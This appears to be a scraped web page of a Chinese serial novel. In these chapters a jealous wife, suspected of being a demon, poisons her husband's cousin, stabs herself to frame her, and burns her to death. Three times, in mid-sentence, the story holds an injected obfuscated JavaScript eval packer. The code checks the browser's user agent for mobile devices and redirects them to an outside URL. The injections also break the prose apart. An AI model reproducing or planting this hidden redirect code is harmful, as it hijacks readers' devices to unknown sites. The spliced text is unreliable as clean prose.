“好了,眼下还有更重要的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056233|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等着我,没有功夫与你争辩。你这莽撞大意的性子也该改改,信送完了便早些回去吧。” 赤练送走二人,从长垣手里接过包袱,“我这段日子要下山办一件紧要的事情,山里就交给你们了。” 长青和长垣二人应声,长青道,“师父有何要事,要去多久?” “短则半月,多则半年,也说不清楚。你师叔这信送来已有半月,茫茫人海,那人还不知还在不在东流。” “师父要找何人,知会一声,何必亲自去?” “这事事关全东流乃至全国百姓的性命,江山的存亡,非亲去不可。” 赤练道,“你们不必担心,照常主持观中事务即可。” 他看着那封信,想了想,“还有玉蝉,她性子急躁,修炼不精,却又争强好胜,总想着抓妖一事。你们最好盯着她,让她尽快离开东流回金陵去,否则我怕她那性子迟早惹出大事来。” “是,师父放心。” 宋璋得知玉蝉的真实身份是赤炼掌门的师侄,原是为下山历练而来,顶了那位私奔的原表妹的缺,也算得好事一桩。 与她说清误会,亲亲热热煮了茶饭热汤与她赔礼道歉。 “表妹莫怪,竟不知表妹如此神通,原来都是误会。这是我亲手炖的燕窝,最是滋补养颜。还有这些糕点,就算是给表妹赔罪了。” 玉蝉挑眉,“嫂嫂给我道歉?要说罪当是我更无礼一些,得罪嫂嫂多一些。嫂嫂竟如此宽宏大量......” “也不只是如此,还有这些,望表妹一同带给玄礼。婆母不喜我靠近,唯有依托表妹帮忙照顾。” 宋璋拿出了另一个食盒,递给玉蝉。 玉蝉却并未接过,“嫂嫂,我的确不是崔玉蝉,不过我对表哥的心却不假。所以若存着让我放弃表哥的心思,你还是把这些东西拿回去吧。” 宋璋温柔的面孔上出现了一丝裂痕,但转瞬即逝。 她笑道:“我没有那个意思。先前不过以为你是妖,所以一时心急,不敢让你在玄礼身边。如今知晓你是能驱除邪祟的能人,我喜欢还来不及,怎会与你为难。 至于婚事,一则是你的身份,需要设法瞒住,二则我想等玄礼醒来问过他的意见,若你们彼此都有意,我再去与婆母商议斡旋。” 玉蝉似笑非笑地看了她一眼,“嫂嫂这是用我的身份威胁我?” 宋璋失笑:“怎会如此?罢了,妹妹对我有误会,我先告辞了,妹妹再好好想想。明心,走吧。” 明心将最后一口药喂进舒玄礼口中,听见呼唤,赶忙走了出来。 看着宋璋等人远去,玉蝉将地上的食盒连同那燕窝羹提了进去。 舒玄礼所住之处在舒宅偏僻的一处园子,背山靠水,芍药满园。为便于照看,她在外间有一张美人榻,偶尔小憩侧卧。 她看了一眼地上略沾湿的脚印,顺着脚印走到了榻边,掀开枕头,一张符纸赫然眼前。 她捻着那张符将它打开,勾了勾嘴角。她这不学无术的师弟给的假符也敢信,真不知这女子是聪明还是愚蠢。 一阵脚步声传来,帷幕拨开,舒玄礼从帐内走了出来。 “朱砂兑了白术磨成的粉,外加一点儿硫磺。嫂嫂这是唯恐我不被毒死,另给我添上的私心。” 玉蝉瞥了一眼舒玄礼,将手里的燕窝放在一边,示意男子拿起检查。 “阿璋不过是还在怀疑你的身份,并未下毒害人。” 玉蝉笑出了声,她走至桌前,挽起袖子,一边提笔写着什么。 “起码她不如你想的那般柔弱无能,任谁都能欺负一手。阿璋嫂嫂可比表哥想的远要能干聪明得多……” 她话中意有所指,舒玄礼皱了皱眉,打开了那食盒,捻了一块点心。 玉蝉头也没抬,“嫂嫂做的,表哥可要当心。” “我认得阿璋的手艺。” 那就是明知故食了,还真是感人。 玉蝉耸耸肩,“你爱吃就吃吧。” 他不怕死,她也不拦着。 写了一会儿,她将那两张符纸拿了出来,递给舒玄礼,“一张放在她枕下,一张化了水让她服下。是人是鬼,立见分晓。” 舒玄礼却站在原地凝视着,并未接过。 “她不可能是妖。” 玉蝉翻了个白眼,“这话你已经说过八百回了,你同我反复争论又有何意义? 我是看在你勉强算我表哥的份上才给你这两道符,不然我才懒得管。” “她与你说的全然不同,阿璋从不苛待下人,对我母亲殷勤侍奉,孝顺有加,就连我的那些妾室也没有一个说她不好的。 若她有心害我,何必早起贪黑,操劳杂物,侍奉我家老小整整三年?” “你知道妖为什么叫妖吗?他们极善伪装,又极为聪明。包藏祸心,隐忍不发,是为了放长线钓大鱼。你想想射猎那次,为何那鹰谁也不啄,好端端偏要来啄你们二人? 为何你的那些小妾自从嫁给你个个形消体减,身体不济? 人心隔肚皮,舒郎君,你想想,若日夜与你共枕而眠的是一只摆尾吐舌的蛇妖,你当真就能毫无芥蒂地安枕而眠?” 舒玄礼沉默良久。 玉蝉看着他,又写了一张符纸在灯下燃尽,化入水中一饮而尽。 她将空空的杯盏示意给他,“郎君口口声声相信你的妻子,若你真笃定她是人,又何必犹豫不决,还是不敢面对真相?” “阿璋是我妻,我凭何因你的一句话怀疑试探我的枕边人?”舒玄礼话中带了些许怒意。 玉蝉想了想,换了一种说法,“并非我一人如此,掌门亦说嫂嫂身上有古怪,即便她不是妖,或者有妖邪入体寄生,吸□□气亦有可能。 嫂嫂多年无子,又身体不好,说不定就是因这妖邪的缘故。若长此以往,身弱之人,不能自主,反被妖邪侵占了身体,便为时已晚了。” 她语重心长劝说着,舒玄礼瞥了她一眼,又垂下眸子来。 玉蝉笑了笑,将两张符放在了桌上,转身离开了屋里。 窗边的芍药洁白如玉,熟悉的饭汤香气萦绕鼻尖,他缓缓坐了下来,将那几碟菜吃尽。 伫立良久,伸手拿过了那两张符纸。 7. 妒血 尽管宋璋觉得玉蝉是妖,但这种感觉又随着她那双笃定锐利的眼神变得不那么确定起来。 因为她是妖,所以身边的人才因为她不断遭遇祸患么?她嫁给玄礼,是否是个错误? 她爱他,却因为这份爱给他带去灾祸。 可是她不想离开他…… 她爱他的温润的皮囊,爱他的意气风发,甚至爱他发怒,爱他伤心。这世上没人比她更爱他,更懂他。 每每看到他投向其他女子的目光,尤其是那些妾室,她都心如刀绞。她日夜都在做梦,梦见有一日他怀抱着其他女子冷面向她的样子,她在后面追赶哭喊,他却头也不回扬长而去。 他们都艳羡她夫妻和睦,丈夫忠贞,实则只有她知晓这份恐惧有多深多重。 一想到此,她的心悸又开始在胸腔作祟。 瓶中洁白的芍药带着雨珠,肆意舒展着。一团一团盛放。 她轻轻将侧脸靠近,柔软温凉的花瓣贴在面上,她转过头摩挲着,似乎不堪重负,将脸埋在了花中。 眼圈有些发热干涩。 心上仿佛坠着一块巨石,被人反复捶打。 渐渐的,她有些喘不过气来,身体一阵一阵起伏着。她试图从这狭窄而昳丽的缝隙中寻求一丝稀薄的空气。 哪怕逼仄,哪怕束缚,也好过茫茫的空虚。 花朵悄无声息地枯萎下去,花瓣变成了黄褐色,原本丰盈洁白的芍药皱成一团。 她缓缓抬起头,不知所措地看着它们。 门口传来明心的声音,“郎君!郎君终于醒了,娘子正在里面,还没歇下呢。” 宋璋赶忙将那花抽出扔在窗外,裙摆不慎勾到桌边雕花,桌子振动,啪啦一声花瓶便落在了地上。 她又回身去捡碎片,手指被划出了一道血口。 “别碰它,放着我来吧。” 舒玄礼走来将地上的碎片打扫干净,牵着她在桌前坐下,给她包扎了伤口。 许久没有见过舒玄礼,他消瘦了不少,即便有大把的纱布缠着,穿上春衫却还显宽大。 感受到她注视的目光,他抬起头含着笑意望着她。 这一望,却将她心底的波澜望了出来。女子眼见着红了眼圈,一颗一颗的泪珠滚落。 舒玄礼忙去拭泪,温声安抚,“阿璋这是怎么了?受了什么委屈说与我听,我替你出气。” “是娘?还是小丫头们嚼舌?” “没人欺负我,我是气我自己。好端端的,非要叫你出去射猎,又因为我拖累你在深林落单,被那苍鹰捕食。” “什么拖累不拖累的,若非你割血救我,为我换来一线生机,我早就命丧当场了。这世上,除了父亲母亲,再没有人像阿璋这般对我好了。” 宋璋仍紧皱着眉头,“可是当初那算命先生说我命中带煞,会给亲近之人带来灾祸。我怕我有朝一日害你……” “什么讨口的瞎子,让我抓到非打一顿不可。你初嫁我那两年,我连考连中,连中连考,家中生意兴旺,大嫂平安生下狸儿,添丁添喜。何曾有谁遭了灾?这都是你给家中带来的福气。” “我父母早亡,弟弟走散……玄礼,你当真不怕……” “不怕。” 舒玄礼深深望着她,“结为夫妻,生死与共。你无论变成什么样子,无论是谁,只要是真正的阿璋,我都贞心不改。” 他握了握她冰凉的双手,“阿璋也别怕,不管发生什么,我都会站在你身后。” 舒玄礼将药箱放在纱橱中,倒了一杯茶水,递给女子。炽热的温度从杯壁传至手心,她微微低头,热气似迷雾般萦绕。 视线有些恍惚起来,眼前的人也似被重重迷雾环绕,看不真切。 但感受着他含情注视的目光,她闭上眼睛,将杯中水一点一点喝尽。 她喝完那一碗茶,就这么深深望着他,似餍足的小兽睁着乌黑明亮的眼睛注视着。 舒玄礼被她这般直勾勾看着,莫名地有些心虚,接过她手里的碗放在桌边,吹灭了灯烛。 “阿璋,睡吧。” 他揽过她,躺在了床上。 漆黑的夜里,鸟雀鸣叫,微风送香。他们依偎在一起,感受着彼此的温度。 寒意一点一点被男子融化。她伸出手,放在了他眉上,抚摸着,眉头、眼睛、鼻子……她眼中流露出痴迷的神色。 “还不睡?” 男子抓住了她的手,熟练地放在掌心揉搓着。 “睡不着。” “在想什么?”喑哑的声音从胸腔里发出,闷闷的,却在咫尺暗夜显得格外蛊人心魄。 他为什么要试探她,为什么不信任她,他会喜欢玉蝉吗?会听信她的话多过于她,她到底对他说了什么? “我在想你的伤什么时候好全,离县之前会不会再生波折。” 男子默了默,“阿璋,你难过吗?” “难过什么?” “不一定要为什么难过,难过就是难过,其实你难过的时候可以骂我打我,咬我抓我都可以。” 他听见女子传来轻微的笑声,接着鼻梁传来啃咬的触觉,酥酥的,麻麻的。 “我不难过,玄郎对我很好,只要看到你,陪着你,我就什么也不担心了。” 往日的甜言蜜语在如今却并不能让他开怀,相反,他心里也有一种怅然若失的空虚。 她感到气氛陡然冷却下去,舒玄礼没再说话,只是静静躺在身边。 她一时有些无措,不知道做错了什么。 天亮后舒玄礼早早洗漱完离开,她醒来时已经没了踪影。 她问明心,“郎君去哪儿了?” 明心低着头道,“去…去了文墨轩。” 文墨轩……自他生病以来,玉蝉也搬去了文墨轩。 她仿佛一下子没了力气,心一阵阵地抽痛。 “娘子,别哭。” 除却那次郎君受伤,这么多年来明心这是第二次见自家娘子在她眼前落泪。 “娘子,郎君病了这些日子,是急着去文墨轩温书呢,不是为了找崔玉蝉!您别难过,郎君早饭还没吃,我们去给郎君送早饭去。” “符水已饮尽,我与阿璋也安然度过了一夜。你待如何?” 舒玄礼冷冷看着玉蝉,玉蝉一边喝着粥,一边扫视了他一眼。 “你坚信她不是妖,我又能如何?” 舒玄礼身上还带着那符纸的味道,他将它带在身上太久,说明他根本就没给宋璋喝下。 “我按照你说的做了,以后望你不要再散播谣言,趁早回金陵吧。” 玉蝉看着眼前的男子一改往日温润,对她冷漠疏离的样子,轻笑了一声。 忽而站起身勾住了他脖子,侧耳道,“回金陵可不行,姨母还让我嫁给你呢,八字合过,连嫁妆都给我备好了。我想……大概明日你生辰就要宣布了。” 门口忽而传来瓷器碎裂之声,滚烫的鸡汤从匣子里溢出落在鞋面上,宋璋却似毫无知觉。 她转身快步往回走,舒玄礼紧接着追了上来。 “阿璋……阿璋——” 宋璋的脑袋空空的,眼前都是舒玄礼与玉蝉耳鬓厮磨的样子。 她的手被拉住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昨夜的一切反复在宋璋脑中出现,每一句话,他的每一个神情,交织纠缠,一头乱麻。 她不知道自己做错了什么。是因昨日撞破了他们,臊了他的脸面?还是她没抑住自己的恼怒嫉恨,让他察觉了端倪…… 他冷淡得突然,生气得莫名。将她像一块帕子轻飘飘地丢在一边。 她手脚冰凉,呆呆地站在原地注视着他离去的背影消失在门内。 观雨堂……是他为她取的名字。 新婚时他在那里抚琴,她侧卧小窗观雨。 那年芍药开得正好,鹅黄月白,山青脂红,半人高的花儿,不必推窗也能闻见满院清香。 不似如今,孤灯寒照,残药满地,白玉蒙尘,香血入泥。 她没有绕开那石子路,而停在原地,抬脚缓缓踩了上去。颜色褪去,汁液与泥水混为一体,消隐在一片污浊之中。 她心头忽而传来一阵剧痛,痛得她直不起身来,握紧掌心她缓缓蹲下身,忽地呕出一口血来。 鲜红映在洁白的芍药上,仿佛为腐水侵蚀,一朵丰盈的白芍即刻连花带叶萎缩,化作一阵黑烟。 她颤抖着伸出手,所及之处,花便迅速衰败。女子似乎受了惊吓,逃也似的离开。 玉蝉缓缓从廊后走了出来,指尖一勾,捻起那花凑在鼻尖闻了闻。又是那味道。 师父已经几番催促她离开东流,她已经没有时间再陪她耗着了。这回她一定要逼她现出原形,收了这妖孽。 8. 疯子 湖光映碧鱼穿云,青鸟相戏水波动。更有佳人红粉,却扇拂袖,书生凝眉,左右为难。 “姐姐,姐姐,你听我说——” 小生追着那小姐无头苍蝇一般,那小姐恼极一推,险些将那小生推落湖里,惹得那俊俏的面孔一阵惊慌。 众人哈哈大笑起来,“这戏有趣儿,看那小生演得多好啊。” 静莲笑得肚子疼,见沈氏看得津津有味,叫来小丫头,丢了四五吊钱进去,“演得好,老夫人有赏。” 闻言台上那戏子唱得越发得劲,动作夸张诙谐,时时逗得满堂欢笑。 毓兰抱着孩子,往嘴里塞了一颗杏干,偏头悄声指了指对座的二人。 “哎,嗯......” 舒玄成顺着毓兰目光看去,“他俩这是怎么了?” 两人同座向来是耳鬓厮磨,亲亲热热,今日打从坐下来开始就没说半句话。舒玄礼一个劲喝酒,宋璋则心不在焉地看着台上出神。 “八成是为纳妾的事。”毓兰说着横了舒玄成一眼,“还以为二郎有所不同,到头来你们这些男子都一样。” “你说二弟就说二弟,牵扯旁人做什么?” 舒玄成撇了撇嘴,朝向另一头看戏。 舒玄礼听着众人欢笑,又斟了一杯酒,刚要举起却被宋璋拦下。 “玄郎,酒醉伤身,莫要贪杯。” 她关切地看着他,他缓缓抬起头,却又移回了目光。招来丫鬟重拿了酒杯斟酒。 手心的那杯酒显得格外冰冷起来。 她顿了顿,将那酒重新放回了他案边,他却再没动过。 沈氏目光流转,微微勾了勾嘴角。终于是等到这丫头现了原形,惹了厌烦。 她咳嗽了一声,静莲瞥了一眼众人,拍了拍手掌。一时众人都看向沈氏等待她发话。 沈氏道:“今日除了二郎生辰,还有一件喜事要宣布。” “玉蝉性情乖顺,聪颖机灵,又是与咱们有亲的,二郎夫妇膝下无子,便纳了玉蝉做贵妾。喜上加喜,亲上加亲。往后二郎可要好好对待玉蝉,璋娘也要好好与你妹妹相处,可知道?” 众人一时都看向了宋璋,她手中紧紧握着筷子,口中却没立时回应沈氏的话。 胸腔里有一股不平之气堵在胸口,久久不能下咽。 她眼下最想做的一件事就是将桌上的碗筷全都扔在地上,掀翻桌子,搅乱这场鸿门宴。 余光中舒玄礼向她投来了审视的目光。 她生生咽下了这口郁气,不能让他为难,不能让沈氏失了面子。 她将口中的杏干咽了下去,酸涩尚留在口齿,她抬起头扯出一个笑容。“儿媳明白。” 沈氏锐利的目光这才收回,满意地点点头。“母亲就知道你向来是懂事贤惠的,二郎有你这个媳妇也算是他的福气,往后你们姐妹......” “我不同意。” 满屋忽而静了下来,沈氏皱着眉,“你说什么?” 舒玄礼重重砸下了酒杯,抬头冷眼看着沈氏,“你们为我娶妾,要为我留嗣,可曾问过我一句?” 他嘲弄地看向宋璋,嗤笑一声,“怎么,这妾竟是为娘子所娶,全凭她点头作罢。” “郎君......” “你今日喝醉胡说八道什么?我是为你好,替你操心,怎么还操心出错来了?” 舒玄礼当着众人的面让沈氏下不来台,她此刻当真恼怒起来。毓兰给舒玄成使了个眼色,忙上前打着圆场。 “二郎这是不好意思了,娘别生气,他昨夜出门访友极晚才回来,今晨又起得早,这身体也不太舒服。这猛然一提这事,还没反应过来呢。” 沈氏冷哼了一声,接下了毓兰的台阶。毓兰忙命戏班子重新唱了起来,以冲散这弥漫硝烟的空气。 舒玄礼的酒一杯接着一杯,宋璋看得忧心,却又不敢再说话。 舒玄礼见她果真不再劝阻自己,更是气闷,喝的头晕目眩起身扶着小厮往后院去醒酒。 “为什么,为什么她要这样?” 舒玄礼头疼得厉害,一边走一边捶着脑袋。 小厮不知所云,“郎君你说谁要哪样?” “我本将心向明月,奈何明月照沟渠。”“笑渐不闻声渐悄,多情总被无情恼!” 他胡乱说着诗句,小厮无奈扶着他,“您说的什么跟什么呀。少夫人一片心全在您身上,哪儿什么照沟渠,无情恼了。” “不识庐山真面目,只缘身在...呕......” “哎哎哎,郎君你别吐,你别......” 小厮怅然一声,捏着自己的衣角,看看舒玄礼又看看自己,“我这可是春桃新给我做的衣裳,唉——您在这等我会,我换身衣服再给您拿双鞋子去。” 舒玄礼斜靠在柱子上,顺手摘下一株芍药,看着傻笑。 “阿璋...阿璋,你别生气......” “表哥?表哥......” 舒玄礼迷迷糊糊望去,“阿璋。你可算追来了,我以为你不管我了呢。” 眼前的“阿璋”似乎轻笑了一声。 “你笑吧,只要你不生气就好。你不生气,我就不生气了,我只是想你对我坦诚一些,我们是夫妻......有什么事都应该告诉我.......” “阿璋”将他扶了起来,“你喝得太多了,我带你回去休息。” 舒玄礼乖乖靠在了她肩上,挽着她的手踉跄着往园子深处走去。 宋璋瞥了一眼身旁的座位,又看了一眼玉蝉空着的坐席。附耳对明心道:“我出去找找郎君,若母亲问起就说我更衣去了。” “哎。” 经过回廊,几个丫鬟坐在一处编花篮,宋璋道:“看见二郎了吗?” 小丫鬟脱口道:“二郎君跟着表小姐......” 一旁的大丫鬟脸色一变,拉了拉小丫鬟,她方道:“二郎君酒醉头疼,回文墨轩歇息去了。” 宋璋一路走到文墨轩,丫头小厮们都趁这机会偷去前厅看戏,只有三两个懒的乐得在房里睡觉,谁也没察觉她的到来。 然而越是安静,她的心就越是不安。 她一路疾行走至文墨轩,却听得细琐之声从观雨堂传来。 两扇大门悄然推开,外间只有一个炭炉,一个盂盆。而幽香渐渐从里间飘出,充盈着整个屋子。 清脆的水声时时传来,她紧绷着心神,拨开一层又一层厚重的帷幕。 男子与女子交叠的衣物、她送给他的香囊、她亲手做的鞋子...... 走至最后一层帷幕前,她深吸了一口气,指尖微微挑起,接着却先有一双手拉住了她。 玉蝉穿着一件素衣,长发披垂,脸色微红,脚上还带着水珠从里面走了出来。 “嘘,玄郎头疼得厉害,才刚刚睡下。” 宋璋冷冷甩开了她的手,就要往里面走去。 玉蝉拦在了她面前,“怎么?你不相信?” “真不知你是聪明还是愚笨,又或者说你是高估了世间男子的秉性。” “你的玄郎温润有礼,守身持正,高洁得就像那枝头含苞的玉兰花,所以绝不会背叛你,看上我这等俗气的女子。” 玉蝉嗤笑了一声,“任凭他是谁,总归是男子,是男子就有恶欲。借酒催发,泪洒懊悔,字字恳切,实则都是放屁。” “他口里是念着你的名字,或许把我当成了你,这一切便理所应当了,可是他想的究竟是什么....谁知道呢?” 玉蝉挽起衣袖倒茶,泠泠的水声萦绕耳畔,手臂露出的红痕斑斑点点,刺痛着宋璋的心。 “你想说什么?” “我想说你输了。” 玉蝉笑着将茶水递给了她,一字一句道:“木已成舟,舒家少夫人的位置我坐定了。嫂嫂,你就等着被扫地出门吧。” 宋璋接过那杯滚烫的茶,青瓷底面倒映着女子冰冷的神情,良久她忽而笑了笑,“妹妹,你的这种伎俩我三年前就用过了。” 她说着忽而抄起手中杯盏朝帘后砸了过去。 茶水穿过帘幕洒在帐内,发出咚得一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056235|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响。 宋璋静静看向玉蝉,扯了扯嘴角。“玄礼酒量极差,醉后只管昏头大睡,从来不省人事。是决计不会对你做出任何事的。” 玉蝉被拆穿却也毫不尴尬,“即便没做什么,却也真真切切共枕而眠,肌肤相亲。表哥是正人君子,我名节已坏,依照他的性子,难道会弃我不顾,任我受辱而亡?” “你就非要与我作对?” 长甲嵌入了手心,怒恨从心底油然而生,浮现眼前。 “是。你从小命带七杀,煞气凌人。克死了你父母还不够,现在还要来克表哥。是个灾星也就罢了,偏偏心机深沉,精于计算,当初陈家收养你做儿媳,你却害死了他家小郎君,还勾引了表哥为你忤逆姨母。 表哥心思单纯,哪里想得到自己费劲取回来的不是什么柔弱善良的白兔,而是满腹坏水的毒蛇。” “嫂嫂,骗来的东西,终归是要还回去的。与其最后撕开真相,血肉模糊,不如现在抽身,还能保全一点美好的回忆。” “这些是母亲告诉你的?”宋璋没有像之前一般激动,而是静静地看着玉蝉。 她发现玉蝉好像每次都在试图激怒她。 “姨母已经知道我的身份了,但她说不要紧,她看中的不是门第之别,而是品行心性。心性不端之人即便门第再高,她也不会给她一个好脸色。” 玉蝉一边说着一边盯着宋璋,手中随时准备好将收妖袋抛出,让她现出原形。 宋璋笑了起来,自在悠闲地喝着茶。 “母亲一向不喜欢我,她觉得我一个破落户的女儿嫁到舒家,必定本事不小,工于心计。” 她看向玉蝉,抬首间带了几份自得,“我在陈家整日伺候那痨病的小郎君,喂饭送水擦身按摩,我出门必得带他出门,他在床我必须在屋里。满屋子的药味,暗不见光。 我的日子也同他埋了一半到土里。可是凭什么?凭什么我要过这样的日子?” 宋璋道,“我以将来要照管家中生意为由吵闹着要去陈家族学上学。我知道那是我唯一摆脱这种日子的机会。起初我只是想找个好拿捏的蠢货,嫁给他,哪怕为妾为外室,只要有金银财帛,有好日子过,我都不介意。” 玉蝉鄙夷道,“所以你就挑中了表哥。是,他这样正直温良之人的确好拿捏。” “我没想到他竟想娶我为妻。” 她在族学中与外男私会,一夜未归之事被陈家得知,险些将她打死。她派人去舒家门口等消息,却再无回音。她以为他要像那些公子哥一样口上应着,到了动真格就躲得远远的。 她等了两天,等到以为没了希望,却听见堂前传来舒家给她下聘的消息。为了娶她,他在雪地跪了整整两日,至今昏迷,沈氏为了儿子的性命着想,不得已匆匆派人下定。 婆媳尚未见面,这梁子便先早早结下。 宋璋将玉蝉碗中茶水倒在炭炉中,烟火缭绕,呲地发出刺耳的声响。 丹蔻握着金匙,微微颤抖,分洒茶叶。微不可查地,粉末从指尖悄然散落,融化。 她将茶递给了面前之人。 “你们总觉得我算计了他,配不上他。可又有谁能像我这般全心全意地对他?小到他的日常饮食、衣物、起居,大到他的学业功名,我全都亲自过问,操心忧劳。 他爱喝什么口味,什么温度的茶,用什么茶盏,配什么点心,点心里放几分糖,我都知道。我比母亲更了解他。比世上任何一个人都爱他。” 玉蝉没动作,宋璋笑着接过茶先抿了一口,而后递给玉蝉。 玉蝉冷笑,“可他呢?他爱的是你吗?你在他面前百般欺瞒,万般遮掩。他可知他爱的不过是一个彻头彻尾一捏就碎的假泥人!” “如果他知道了你所做的这一切,知道了这泥人壳子里真正的模样,他还会继续喜欢你吗?” 宋璋斜着头,一手抚了抚鬓间的头发,拔下一只簪子来。一手晃了晃杯中的茶水。 “所以啊,那就让他不知道,永远也不会知道这一切。” “表妹……去死吧——” 9. 怪力 玉蝉被猛然扑倒在地,头部撞在地板上咚地一声响,撞得她满脑子嗡嗡。紧接着便见以往那柔弱无骨的女子面色狰狞,狠狠掐住她的脖子,试图将簪子插入她心口。 她迅速调整状态,调度全身真气,砰地一掌将她击落在远处。 玉蝉迅速起身,一把夺过了她手中那枚银簪,带着讽刺的笑意将它抵在宋璋心口。 “你知道的,这对我没用。要杀我,没那么简单,都到这种时候了怎么还不使出你的妖力?对敌人的仁慈了就是对自己的灭亡。” 宋璋双手抵抗着,却怎么也敌不过身带术法的玉蝉。这簪子她打磨过,锐利无比,此刻正随着二人拉扯,逐渐逼近她胸前。 玉蝉冷笑着忽而心中一紧,喉头一阵甜腥,血就这么从口中溢出。 是那杯茶!可是她明明也…… 玉蝉的笑意僵在脸上,愣神间,面前的女子握着她的手重重将簪子插进了自己胸中。大片大片的红色在春衫上绽放开来。 女子脸色惨白,红唇似血,活像一只黄泉爬出来食人的恶鬼。 “你……你疯了?” 宋璋勾了勾嘴角,“别担心,两杯茶都下了毒,绝不厚此薄彼。” “你究竟要做什么?” “做什么?这得问你,你为了嫁入舒家,诱骗我入局,妄图毒害我,我抵抗不得,反被你用簪子插进胸口,奄奄一息。幸而我的丫鬟及时赶到,救了我一命。他们将你拿入官府,你不经毒打,命丧黄泉。” 宋璋一边笑着一边握着她的手将那簪子往里深入了几分,那张脆弱柔美的面孔交杂着痛苦与畅快,两种情绪交织于一身,随着胸口的血倾泻而出,似乎感到灼烧的炙热,玉蝉惊恐地放开手,站在原地。 疯子,真是个疯子! “你就没想过万一那丫鬟晚来一步,你就真的陪我死在这里?” “死便死了,权当我运气不好。若是因你而让玄郎永远记挂着我,倒也划算。” 玉蝉觉得眼前的这人已经不能用寻常言语沟通了,现在这男子钟情她便罢。若有朝一日改变心意,那整个舒家上下乃至整个东流县都怕是要遭她毒手。 此等妖物,若不去除,必定遗祸人间! 只是捉妖袋收妖,必须捕捉妖气。她动用术法强行杀她,最后自己也会遭反噬。如今的状况还不够…… 她想了想,忽而对着宋璋笑了起来。 玉蝉从怀中拿出一个罗盘,运气催发,方才女子的声音一字不落地在房中响起。 “你方才所说皆录入无音盘中,这香炉里的香快燃烬,表哥马上就要过来。嫂嫂,就让他见见你的真面目吧……” “给我!”宋璋闻言扶着墙站了起来,眼中露出狠戾之色。 她作势要抢,玉蝉却一掌击退了她,她猛地扑倒在地,剧痛遍布全身。 “你不是一直想杀我吗,杀了我!” 她挣扎着,却再无力气。 “杀你太便宜你了。真相大白,水落石出似乎更为有趣。你想想,待会儿舒玄礼听到这些话会是什么表情?是害怕,惊讶,还是厌恶?” 玉蝉笑着俯视着宋璋,却见她双手撑在地上,一步一步朝她爬了过来。 罗裙一角被抓住,她抬起头时玉蝉微微一怔,那双眼睛……那双金色的瞳孔,满是空洞的杀机,似乎变了个人似的,她猛然打了个寒噤。 她手心攥住的地方开始生出刺鼻的烟味,火焰像蟒蛇一般迅速吞噬了她的衣裙,她幻视四周,房屋开始振动,熊熊烈火从四面向中心靠拢,她手臂已经感到灼烫,而眼前的女子却似毫无知觉,独立于火海之中。 怪物! 玉蝉心头当即一沉,她不是一般的妖,她是怪物! 她急忙打开收妖袋,然而金光浮现没多久,连收妖袋也被这妖火缠上,迅速萎缩,化作了一团灰烬。 “救命!救命啊——” 那女子缓缓站了起来,一把掐住了她的脖子,玉蝉整个人被一只手提起,浑身灼烧。对方却一动不动,只是空洞地盯着她。 “给……你,我给你……” 她把手上的罗盘递给了女子,她接过罗盘的刹那,刻金化作一摊浆水滴落火海。 滴滴嘀嗒……嗒…… 檀香幽幽盘升,萦绕着角落的刻漏,小厮猛地推开门,“郎君,郎君你在这儿啊!怎么还睡得着,观雨堂走水了!” 舒玄礼头疼欲裂,昏昏沉沉地被拉起来,闻言立刻清醒了十分。 他记得自己喝醉了酒,在回廊上遇见了阿璋,于是就跟着她回来了。 他心中莫名不安,拉住小厮的衣袖,“二娘子呢?” “二娘子?二娘子不是在前面听戏吗?” 舒玄礼的眼皮猛然跳了跳,冲到外面提了一桶水就往观雨堂跑。 “郎君别去,那儿火势太猛,您去了也是添乱,郎君——” “别废话,赶紧走!” “二娘子——” “阿璋——阿璋在里面吗?”“二娘子——” 烟火弥漫在整个观雨堂内,火声蔑蔑,残瓦断梁七横八竖地往下坠着。 几声熟悉的声音隐约传入了耳边,赤金的瞳孔渐渐转为黑色,无助地看向眼前的一切。 她猛然松开了手,玉蝉脸色惨白像一只断线的风筝坠落在地。 她颤抖着看着自己的双手,火焰刚刚平息,掌心尚存黑烟。 她做了什么?她是谁? 周围的空气越来越稀薄,浓烟滚滚,玉蝉手指着宋璋,缓缓垂下了眼眸。 宋璋走近探了探她鼻息,心跳一滞。她……杀人了…… 观雨堂失火,表小姐与二少夫人一死一伤,下人进去时二郎君浑身黢黑,抱着满身是血的二少夫人出来。火势牵连,整个文墨轩都遭了殃,又因出了人命,惊动了衙门,这几日不断有官差来往,惹得众人议论纷纷。 据那日在后院值守的丫鬟说,是二少夫人当场捉到表小姐与二郎君有奸,二人争执起来,不小心打翻了香炉。 有人辩驳说二郎君那日醉得不省人事,一味地在暖香阁酣睡。是因他当场拒绝了婚事,让表小姐心生恨意,所以要除二少夫人取而代之。二少夫人出来时胸口插着的簪子上满是血迹,一看就下了狠手。 流言纷纷,不能止息。 衙役张平从文墨轩出来,一边走一边对舒玄礼道:“郎君冲进去时可有发现什么奇怪的地方?” 